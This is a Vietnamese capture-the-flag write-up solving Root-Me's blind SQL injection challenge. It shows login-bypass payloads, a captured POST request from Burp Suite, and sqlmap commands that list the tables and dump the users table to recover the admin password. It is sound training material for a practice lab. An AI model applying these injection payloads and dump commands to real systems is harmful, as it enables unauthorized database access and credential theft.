SQL injection - Blind¶

Estimated time to read: 4 minutes

May 03, 2023

Tài nguyên và link challenge¶

Tài nguyên của challenge này tại https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-blind

Link challenge này tại http://challenge01.root-me.org/web-serveur/ch10/

Tổng quan¶

Trong challenge này, mục tiêu của ta là lấy password admin.

Kịch bản tấn công¶

Bước 1: Kiểm tra website¶

Challenge này cung cấp cho ta 1 website login. Ta thử login với account admin/admin thì hiện thông báo Error : no such user/password

Ta thử tiêm payload vào url nhằm thử tấn công bằng HTTP GET METHOD thì không nhận thấy lỗi từ website bài này có thể dùng HTTP POST METHOD. Mà đã đùng HTTP GET METHOD thì bật Burp Suite thui nào ::v

Bước 2: Khai thác website bằng Burp Suite và sqlmap¶

Khi thử tiêm đơn giản admin = admin'or'1'='1'-- và password=admin thì ngay lập tức hệ thống phản hồi thành user1

Tức là đẫ bị filter :3.

Rồi, ta tiêm tiếp admin = admin'or'1'='1' và password=admin thì nhận được lỗi.

Và thông qua lỗi này ta biết được hệ quản trị cơ sở dữ liệu đang được dùng là SQLite3. Mấu chốt ở đây nè, trên SQLite thì không thể liệt kê cơ sở dữ liệu (csdl) nếu chúng ta dùng sqlmap mà chỉ liệt kê được các bảng trong csdl thôi.

Well, ta sẽ dùng python sqlmap.py -r ~/Desktop/test/request.txt --tables với nội dung trong file request.txt là nội dung gói tin request được lấy từ Burp Suite. Và cụ thể ở đây phần nội dung gói request của tôi dùng là

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

POST /web-serveur/ch10/ HTTP/1.1
Host: challenge01.root-me.org
Content-Length: 39
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge01.root-me.org
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge01.root-me.org/web-serveur/ch10/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: _ga=GA1.1.605326343.1682713115; _ga_SRYSKX09J7=GS1.1.1683199137.7.1.1683199154.0.0.0
Connection: close

username=admin'or'1'='1'&password=admin

Ta nhận được 1 table mang tên users. Tiến hành dump table users bằng python sqlmap.py -r ~/Desktop/test/request.txt -T users --dump

Dé, và ta đã có được password của admin và là flag cần tìm.

[^1] Xem hướng dẫn cài đặt sqlmap tại https://sqlmap.org/

Comments